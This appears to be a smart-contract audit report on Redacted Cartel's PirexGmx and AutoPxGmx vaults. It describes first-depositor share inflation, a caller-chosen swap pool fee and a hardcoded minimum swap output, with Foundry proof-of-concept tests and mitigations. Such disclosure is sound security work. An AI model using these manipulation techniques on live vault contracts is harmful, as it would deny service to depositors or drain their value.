Redacted Cartel contest - rbserver's results

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/PirexGmx.sol#L378-L412 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L403

Vulnerability details

Impact

A whale account that owns a lot of GMX can call the following PirexGmx.depositGmx function to deposit much GMX for pxGMX. As the first depositor for the AutoPxGmx contract, this account can then call the AutoPxGmx.depositGmx function to deposit 1 wei GMX for apxGMX and transfer a very large amount of pxGMX directly to the AutoPxGmx contract afterwards. This would artificially inflate the apxGMX share price by quite a lot since the total asset amount is increased hugely while the total share supply remains the same. After the apxGMX share price manipulation, calling the AutoPxGmx.depositGmx function by smaller accounts would revert with the ZeroShares error because these accounts' asset amounts corresponding to their GMX deposits are too small comparing to the total asset amount. As a result, the later depositors who are the smaller accounts are denied from using the AutoPxGmx contract, such as for depositing GMX for apxGMX.

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/PirexGmx.sol#L378-L412

    function depositGmx(uint256 amount, address receiver)
        external
        whenNotPaused
        nonReentrant
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        if (amount == 0) revert ZeroAmount();
        if (receiver == address(0)) revert ZeroAddress();

        // Transfer the caller's GMX to this contract and stake it for rewards
        gmx.safeTransferFrom(msg.sender, address(this), amount);
        gmxRewardRouterV2.stakeGmx(amount);

        // Get the pxGMX amounts for the receiver and the protocol (fees)
        (uint256 postFeeAmount, uint256 feeAmount) = _computeAssetAmounts(
            Fees.Deposit,
            amount
        );

        // Mint pxGMX for the receiver (excludes fees)
        pxGmx.mint(receiver, postFeeAmount);

        // Mint pxGMX for fee distribution contract
        if (feeAmount != 0) {
            pxGmx.mint(address(pirexFees), feeAmount);
        }

        emit DepositGmx(msg.sender, receiver, amount, postFeeAmount, feeAmount);

        return (amount, postFeeAmount, feeAmount);
    }

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L370-L403

    function depositGmx(uint256 amount, address receiver)
        external
        nonReentrant
        returns (uint256 shares)
    {
        if (amount == 0) revert ZeroAmount();
        if (receiver == address(0)) revert ZeroAddress();

        // Handle compounding of rewards before deposit (arguments are not used by `beforeDeposit` hook)
        if (totalAssets() != 0) beforeDeposit(address(0), 0, 0);

        // Intake sender GMX
        gmx.safeTransferFrom(msg.sender, address(this), amount);

        // Convert sender GMX into pxGMX and get the post-fee amount (i.e. assets)
        (, uint256 assets, ) = PirexGmx(platform).depositGmx(
            amount,
            address(this)
        );

        // NOTE: Modified `convertToShares` logic to consider assets already being in the vault
        // and handle it by deducting the recently-deposited assets from the total
        uint256 supply = totalSupply;

        if (
            (shares = supply == 0
                ? assets
                : assets.mulDivDown(supply, totalAssets() - assets)) == 0
        ) revert ZeroShares();

        _mint(receiver, shares);

        emit Deposit(msg.sender, receiver, assets, shares);
    }

Proof of Concept

Please add the following test in test\AutoPxGmx.t.sol. This test will pass to demonstrate the described scenario.

    function testFirstDepositorWhoIsWhaleAccountCanDenyLaterDepositorsWhoAreSmallerAccountsFromUsingAutoPxGmx() external {
        // alice is a whale account
        address alice = address(1);
        uint256 amountA = 1_000_000 ether;
        _mintApproveGmx(amountA, alice, address(autoPxGmx), amountA);
        _mintApproveGmx(0, alice, address(pirexGmx), amountA);

        // bob is a smaller account
        address bob = address(2);
        uint256 amountB = 1000 ether; 
        _mintApproveGmx(amountB, bob, address(autoPxGmx), amountB);

        vm.startPrank(alice);

        // alice deposits 1 wei GMX using the AutoPxGmx contract
        autoPxGmx.depositGmx(1, alice);

        // 1 share of apxGMX equals 1 wei pxGMX at this moment
        assertEq(autoPxGmx.previewRedeem(1), 1);

        // alice transfers (1_000_000 ether - 1) pxGMX to the AutoPxGmx contract directly to manipulate the apxGMX share price
        pirexGmx.depositGmx(amountA - 1, alice);
        pxGmx.transfer(address(autoPxGmx), amountA - 1);

        // 1 share of apxGMX equals 1_000_000 ether pxGMX after the apxGMX share price manipulation
        assertEq(autoPxGmx.previewRedeem(1), amountA);

        vm.stopPrank();

        // being a smaller account, bob is now unable to use the AutoPxGmx contract, such as for depositing GMX for apxGMX
        vm.prank(bob);
        vm.expectRevert(AutoPxGmx.ZeroShares.selector);
        autoPxGmx.depositGmx(amountB, bob);
    }

Tools Used

VSCode

Recommended Mitigation Steps

When the first deposit occurs, a pre-determined minimum number of apxGMX shares can be minted to address(0) before minting shares to the first depositor, which is similar to Uniswap V2's implementation.

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L315-L337 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L339-L362 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L242-L313

Vulnerability details

Impact

Calling the following AutoPxGmx.withdraw and AutoPxGmx.redeem functions would execute compound(poolFee, 1, 0, true), which uses the configured Uniswap pool fee as the fee input of the AutoPxGmx.compound function below to further call the SWAP_ROUTER.exactInputSingle function. Yet, when calling the AutoPxGmx.compound function directly, it is possible that a pool fee, which is not the configured pool fee, is used. Using a pool corresponding to a pool fee that is not the configured pool fee can cause the increment of the asset/share amount resulted from calling the AutoPxGmx.compound function to be lower than that when using a pool corresponding to the configured pool fee; as a result, the withdrawn pxGMX amount resulted from calling functions like AutoPxGmx.withdraw and AutoPxGmx.redeem after the AutoPxGmx.compound function using a non-configured pool fee is directly called can be lower than that resulted from calling functions like AutoPxGmx.withdraw and AutoPxGmx.redeem without the AutoPxGmx.compound function being directly called beforehand.

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L315-L337

    function withdraw(
        uint256 assets,
        address receiver,
        address owner
    ) public override returns (uint256 shares) {
        // Compound rewards and ensure they are properly accounted for prior to withdrawal calculation
        compound(poolFee, 1, 0, true);

        shares = previewWithdraw(assets); // No need to check for rounding error, previewWithdraw rounds up.

        if (msg.sender != owner) {
            uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.

            if (allowed != type(uint256).max)
                allowance[owner][msg.sender] = allowed - shares;
        }

        _burn(owner, shares);

        emit Withdraw(msg.sender, receiver, owner, assets, shares);

        asset.safeTransfer(receiver, assets);
    }

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L339-L362

    function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public override returns (uint256 assets) {
        // Compound rewards and ensure they are properly accounted for prior to redemption calculation
        compound(poolFee, 1, 0, true);

        if (msg.sender != owner) {
            uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.

            if (allowed != type(uint256).max)
                allowance[owner][msg.sender] = allowed - shares;
        }

        // Check for rounding error since we round down in previewRedeem.
        require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS");

        _burn(owner, shares);

        emit Withdraw(msg.sender, receiver, owner, assets, shares);

        asset.safeTransfer(receiver, assets);
    }

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L242-L313

    function compound(
        uint24 fee,
        uint256 amountOutMinimum,
        uint160 sqrtPriceLimitX96,
        bool optOutIncentive
    )
        public
        returns (
            uint256 gmxBaseRewardAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        )
    {
        if (fee == 0) revert InvalidParam();
        if (amountOutMinimum == 0) revert InvalidParam();

        uint256 assetsBeforeClaim = asset.balanceOf(address(this));

        PirexRewards(rewardsModule).claim(asset, address(this));

        // Swap entire reward balance for GMX
        gmxBaseRewardAmountIn = gmxBaseReward.balanceOf(address(this));

        if (gmxBaseRewardAmountIn != 0) {
            gmxAmountOut = SWAP_ROUTER.exactInputSingle(
                IV3SwapRouter.ExactInputSingleParams({
                    tokenIn: address(gmxBaseReward),
                    tokenOut: address(gmx),
                    fee: fee,
                    recipient: address(this),
                    amountIn: gmxBaseRewardAmountIn,
                    amountOutMinimum: amountOutMinimum,
                    sqrtPriceLimitX96: sqrtPriceLimitX96
                })
            );

            // Deposit entire GMX balance for pxGMX, increasing the asset/share amount
            (, pxGmxMintAmount, ) = PirexGmx(platform).depositGmx(
                gmx.balanceOf(address(this)),
                address(this)
            );
        }

        // Only distribute fees if the amount of vault assets increased
        if ((totalAssets() - assetsBeforeClaim) != 0) {
            totalFee =
                ((asset.balanceOf(address(this)) - assetsBeforeClaim) *
                    platformFee) /
                FEE_DENOMINATOR;
            incentive = optOutIncentive
                ? 0
                : (totalFee * compoundIncentive) / FEE_DENOMINATOR;

            if (incentive != 0) asset.safeTransfer(msg.sender, incentive);

            asset.safeTransfer(owner, totalFee - incentive);
        }

        ...
    }

Proof of Concept

Please add the following code in test\AutoPxGmx.t.sol. Both the testCompoundUsingPoolFeeConfig and testCompoundUsingPoolFeeThatIsNotConfig tests will pass to demonstrate the described scenario. Please see the comments in these tests for more details.

    uint96 gmxAmount_ = 1e18;
    uint32 secondsElapsed_ = 3600;

    uint256 wethAmtIn = 598927240182;
    uint256 gmxAmtOutUsingPoolFeeConfig = 17947773728826;
    uint256 pxGmxMintAmtUsingPoolFeeConfig = 17947773728826;

    function testCompoundUsingPoolFeeConfig() external {
        address[] memory receivers = new address[](1);
        receivers[0] = address(this);
        _provisionRewardState(gmxAmount_, receivers, secondsElapsed_);

        // Functions like AutoPxGmx.redeem executes compound(poolFee, 1, 0, true),
        //   which is same as the following compound function call.
        vm.prank(testAccounts[0]);
        (
            uint256 wethAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        ) = autoPxGmx.compound(autoPxGmx.poolFee(), 1, 0, true);

        // Using the configured pool fee, the 598927240182 WETH reward amount is swapped to 17947773728826 GMX via Uniswap V3,
        //   and 17947773728826 pxGMX reward amount is minted via PirexGmx.
        assertEq(wethAmountIn, wethAmtIn);
        assertEq(gmxAmountOut, gmxAmtOutUsingPoolFeeConfig);
        assertEq(pxGmxMintAmount, pxGmxMintAmtUsingPoolFeeConfig);
    }

    function testCompoundUsingPoolFeeThatIsNotConfig() external {
        // the inputs used for calling the _provisionRewardState function are same as these used in the testCompoundUsingPoolFeeConfig test
        address[] memory receivers = new address[](1);
        receivers[0] = address(this);
        _provisionRewardState(gmxAmount_, receivers, secondsElapsed_);

        // when calling the AutoPxGmx.compound function directly, it is possible that a pool fee, which is not the configured pool fee, is used
        uint24 poolFee = 500;
        assertTrue(poolFee != autoPxGmx.poolFee());

        vm.prank(testAccounts[0]);
        (
            uint256 wethAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        ) = autoPxGmx.compound(poolFee, 1, 0, true);

        // When using the pool fee that is not the configured pool fee,
        //   the 598927240182 WETH reward amount, which is the same WETH reward amount used in the testCompoundUsingPoolFeeConfig test,
        //   is swapped to a GMX amount that is less than the corresponding output GMX amount when the configured pool fee is used.
        // In this case, the minted pxGMX reward amount is also less than the corresponding minted pxGMX reward amount when the configured pool fee is used.
        assertEq(wethAmountIn, wethAmtIn);
        assertLt(gmxAmountOut, gmxAmtOutUsingPoolFeeConfig);
        assertLt(pxGmxMintAmount, pxGmxMintAmtUsingPoolFeeConfig);

        // Thus, the increment of the asset/share amount resulted from calling the AutoPxGmx.compound function using this pool fee that is not the configured pool fee
        //   is lower than that resulted from calling functions like AutoPxGmx.redeem without the AutoPxGmx.compound function being directly called beforehand.
        // In other words, the withdrawn pxGMX amount resulted from calling functions like AutoPxGmx.redeem after the AutoPxGmx.compound function using this non-configured pool fee is directly called
        //   would be lower than that resulted from calling functions like AutoPxGmx.redeem without the AutoPxGmx.compound function being directly called beforehand.
    }

Tools Used

VSCode

Recommended Mitigation Steps

The AutoPxGmx.compound function can be updated to always use the configured pool fee, which is poolFee, instead of using the fee input.

Lines of code

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L315-L337 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L339-L362 https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L242-L313

Vulnerability details

Impact

As shown below, calling the AutoPxGmx.withdraw and AutoPxGmx.redeem functions would execute compound(poolFee, 1, 0, true), which uses the hardcoded 1 as the amountOutMinimum input of the AutoPxGmx.compound function to further call the SWAP_ROUTER.exactInputSingle function. However, calling the SWAP_ROUTER.exactInputSingle function with amountOutMinimum being hardcoded to 1 does not provide an effective slippage control, which is unlike the case where the AutoPxGmx.compound function could be called directly with a specified amountOutMinimum that provides an effective slippage control. When the Uniswap V3 pool becomes relatively imbalanced comparing to when the pool is relatively balanced, executing compound(poolFee, 1, 0, true), which does not provide an effective slippage control, can result in a much smaller minted pxGMX reward amount due to a much smaller GMX amount outputted after swapping the same input WETH reward amount; as a result, calling functions like AutoPxGmx.withdraw and AutoPxGmx.redeem in this situation can result in a much smaller withdrawn pxGMX amount.

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L315-L337

    function withdraw(
        uint256 assets,
        address receiver,
        address owner
    ) public override returns (uint256 shares) {
        // Compound rewards and ensure they are properly accounted for prior to withdrawal calculation
        compound(poolFee, 1, 0, true);

        shares = previewWithdraw(assets); // No need to check for rounding error, previewWithdraw rounds up.

        if (msg.sender != owner) {
            uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.

            if (allowed != type(uint256).max)
                allowance[owner][msg.sender] = allowed - shares;
        }

        _burn(owner, shares);

        emit Withdraw(msg.sender, receiver, owner, assets, shares);

        asset.safeTransfer(receiver, assets);
    }

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L339-L362

    function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) public override returns (uint256 assets) {
        // Compound rewards and ensure they are properly accounted for prior to redemption calculation
        compound(poolFee, 1, 0, true);

        if (msg.sender != owner) {
            uint256 allowed = allowance[owner][msg.sender]; // Saves gas for limited approvals.

            if (allowed != type(uint256).max)
                allowance[owner][msg.sender] = allowed - shares;
        }

        // Check for rounding error since we round down in previewRedeem.
        require((assets = previewRedeem(shares)) != 0, "ZERO_ASSETS");

        _burn(owner, shares);

        emit Withdraw(msg.sender, receiver, owner, assets, shares);

        asset.safeTransfer(receiver, assets);
    }

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGmx.sol#L242-L313

    function compound(
        uint24 fee,
        uint256 amountOutMinimum,
        uint160 sqrtPriceLimitX96,
        bool optOutIncentive
    )
        public
        returns (
            uint256 gmxBaseRewardAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        )
    {
        if (fee == 0) revert InvalidParam();
        if (amountOutMinimum == 0) revert InvalidParam();

        uint256 assetsBeforeClaim = asset.balanceOf(address(this));

        PirexRewards(rewardsModule).claim(asset, address(this));

        // Swap entire reward balance for GMX
        gmxBaseRewardAmountIn = gmxBaseReward.balanceOf(address(this));

        if (gmxBaseRewardAmountIn != 0) {
            gmxAmountOut = SWAP_ROUTER.exactInputSingle(
                IV3SwapRouter.ExactInputSingleParams({
                    tokenIn: address(gmxBaseReward),
                    tokenOut: address(gmx),
                    fee: fee,
                    recipient: address(this),
                    amountIn: gmxBaseRewardAmountIn,
                    amountOutMinimum: amountOutMinimum,
                    sqrtPriceLimitX96: sqrtPriceLimitX96
                })
            );

            // Deposit entire GMX balance for pxGMX, increasing the asset/share amount
            (, pxGmxMintAmount, ) = PirexGmx(platform).depositGmx(
                gmx.balanceOf(address(this)),
                address(this)
            );
        }

        // Only distribute fees if the amount of vault assets increased
        if ((totalAssets() - assetsBeforeClaim) != 0) {
            totalFee =
                ((asset.balanceOf(address(this)) - assetsBeforeClaim) *
                    platformFee) /
                FEE_DENOMINATOR;
            incentive = optOutIncentive
                ? 0
                : (totalFee * compoundIncentive) / FEE_DENOMINATOR;

            if (incentive != 0) asset.safeTransfer(msg.sender, incentive);

            asset.safeTransfer(owner, totalFee - incentive);
        }

        ...
    }

Proof of Concept

Please add the following code in test\AutoPxGmx.t.sol.

1. Import IWETH and IV3SwapRouter as follows.

import {IWETH} from "src/interfaces/IWETH.sol";
import {IV3SwapRouter} from "src/interfaces/IV3SwapRouter.sol";

2. Add the following uint32, uint96, and uint256 variables and testCompoundWhenPoolIsRelativelyBalanced and testCompoundWhenPoolIsRelativelyImbalanced tests. Both tests will pass to demonstrate the described scenario. Please see the comments in these tests for more details.

    uint96 gmxAmount__ = 1e18;
    uint32 secondsElapsed__ = 3600;

    uint256 wethAmtIn__ = 598927240182;
    uint256 gmxAmtOutRelativelyBalancedPool = 17947773728826;
    uint256 pxGmxMintAmtRelativelyBalancedPool = 17947773728826;

    function testCompoundWhenPoolIsRelativelyBalanced() external {
        address[] memory receivers = new address[](1);
        receivers[0] = address(this);
        _provisionRewardState(gmxAmount__, receivers, secondsElapsed__);

        // functions like AutoPxGmx.withdraw executes compound(poolFee, 1, 0, true), which is same as the following compound function call
        vm.prank(testAccounts[0]);
        (
            uint256 wethAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        ) = autoPxGmx.compound(autoPxGmx.poolFee(), 1, 0, true);

        // When the Uniswap V3 pool is relatively balanced, the 598927240182 WETH reward amount is swapped to 17947773728826 GMX via Uniswap V3,
        //   and 17947773728826 pxGMX reward amount is minted via PirexGmx.
        assertEq(wethAmountIn, wethAmtIn__);
        assertEq(gmxAmountOut, gmxAmtOutRelativelyBalancedPool);
        assertEq(pxGmxMintAmount, pxGmxMintAmtRelativelyBalancedPool);
    }

    function testCompoundWhenPoolIsRelativelyImbalanced() external {
        // the Uniswap V3 pool becomes relatively imbalanced after 1_000_000 ether WETH is swapped for GMX
        uint256 wethAmtInSwap = 1_000_000 ether;

        vm.startPrank(address(this));

        vm.deal(address(this), wethAmtInSwap);
        IWETH(address(weth)).deposit{value: wethAmtInSwap}();
        weth.approve(address(autoPxGmx.SWAP_ROUTER()), type(uint256).max);

        autoPxGmx.SWAP_ROUTER().exactInputSingle(
            IV3SwapRouter.ExactInputSingleParams({
                tokenIn: address(weth),
                tokenOut: address(gmx),
                fee: autoPxGmx.poolFee(),
                recipient: address(this),
                amountIn: wethAmtInSwap,
                amountOutMinimum: 1,
                sqrtPriceLimitX96: 0
            })
        );

        vm.stopPrank();

        // the inputs used for calling the _provisionRewardState function are same as these used in the testCompoundWhenPoolIsRelativelyBalanced test
        address[] memory receivers = new address[](1);
        receivers[0] = address(this);
        _provisionRewardState(gmxAmount__, receivers, secondsElapsed__);

        // functions like AutoPxGmx.withdraw executes compound(poolFee, 1, 0, true), which is same as the following compound function call
        vm.prank(testAccounts[0]);
        (
            uint256 wethAmountIn,
            uint256 gmxAmountOut,
            uint256 pxGmxMintAmount,
            uint256 totalFee,
            uint256 incentive
        ) = autoPxGmx.compound(autoPxGmx.poolFee(), 1, 0, true);

        // When the pool is relatively imbalanced,
        //   the 598927240182 WETH reward amount, which is the same WETH reward amount used in the testCompoundWhenPoolIsRelativelyBalanced test,
        //   is swapped to only 141 GMX that is much less than the 17947773728826 output GMX amount when the pool is relatively balanced.
        assertEq(wethAmountIn, wethAmtIn__);
        assertEq(gmxAmountOut, 141);
        assertLt(gmxAmountOut, gmxAmtOutRelativelyBalancedPool);

        // in this case, the minted pxGMX reward amount is also only 141 that is much less than the 17947773728826 minted pxGMX reward amount when the pool is relatively balanced
        assertEq(pxGmxMintAmount, 141);
        assertLt(pxGmxMintAmount, pxGmxMintAmtRelativelyBalancedPool);

        // Hence, when the pool is relatively imbalanced comparing to when the pool is relatively balanced,
        //   because executing compound(poolFee, 1, 0, true), which does not provide an effective slippage control,
        //   can result in a much smaller minted pxGMX reward amount for the same swapped input WETH reward amount,
        //   calling functions like AutoPxGmx.withdraw can result in a much smaller withdrawn pxGMX amount.
    }

Tools Used

VSCode

Recommended Mitigation Steps

Functions like AutoPxGmx.withdraw and AutoPxGmx.redeem can be updated to include an amountOutMinimum input, which is similar to the AutoPxGmx.compound function. When this amountOutMinimum input is specified, this specified amountOutMinimum value would be used for further calling the AutoPxGmx.compound function; otherwise, 1 can be used as the amountOutMinimum input value for further calling the AutoPxGmx.compound function.

[L-01] INCORRECT COMMENT

Incorrect comment can be misleading. The following gmxBaseReward.safeApprove code does not approve the Uniswap V3 router so the comment is not correct. For better readability and maintainability, please update the comment to match the code.

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L86-L87

        // Approve the Uniswap V3 router to manage our base reward (inbound swap token)
        gmxBaseReward.safeApprove(address(_platform), type(uint256).max);

[N-01] REPEATED AND REDUNDANT CODE CAN BE REMOVED

SafeTransferLib is imported twice in vaults\AutoPxGlp.sol. Please remove one of these import code lines.

https://github.com/code-423n4/2022-11-redactedcartel/blob/main/src/vaults/AutoPxGlp.sol#L6-L8

import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
...
import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";

[N-02] MISSING indexed EVENT FIELDS

Querying events can be optimized with indices. Please consider adding indexed to the relevant fields of the following events.

PirexFees.sol
  34: event SetFeeRecipient(FeeRecipient f, address recipient);   

PirexGmx.sol
  125: event ClaimRewards(   
  142: event SetDelegationSpace(string delegationSpace, bool shouldClear);   

vaults\PxGmxReward.sol
  21: event GlobalAccrue(uint256 lastUpdate, uint256 lastSupply, uint256 rewards);    

[N-03] INCOMPLETE NATSPEC COMMENTS

NatSpec comments provide rich code documentation. The @return comments are missing for the following functions. Please consider completing the NatSpec comments for them.

vaults\PirexERC4626.sol
  238: function transfer(address to, uint256 amount)
  256: function transferFrom(

[N-04] MISSING NATSPEC COMMENTS

NatSpec comments provide rich code documentation. NatSpec comments are missing for the following functions. Please consider adding them.

PirexRewards.sol
  85: function initialize() public initializer {  

vaults\AutoPxGmx.sol
  315: function withdraw(  
  339: function redeem(  

vaults\PirexERC4626.sol
  60: function deposit(uint256 assets, address receiver)  
  80: function mint(uint256 shares, address receiver)  
  99: function withdraw(  
  124: function redeem(  
  154: function totalAssets() public view virtual returns (uint256);  
  156: function convertToShares(uint256 assets)    
  167: function convertToAssets(uint256 shares)    
  178: function previewDeposit(uint256 assets)  
  187: function previewMint(uint256 shares) public view virtual returns (uint256) {  
  193: function previewWithdraw(uint256 assets)    
  204: function previewRedeem(uint256 shares)  
  217: function maxDeposit(address) public view virtual returns (uint256) {  
  221: function maxMint(address) public view virtual returns (uint256) {  
  225: function maxWithdraw(address owner) public view virtual returns (uint256) {  
  229: function maxRedeem(address owner) public view virtual returns (uint256) {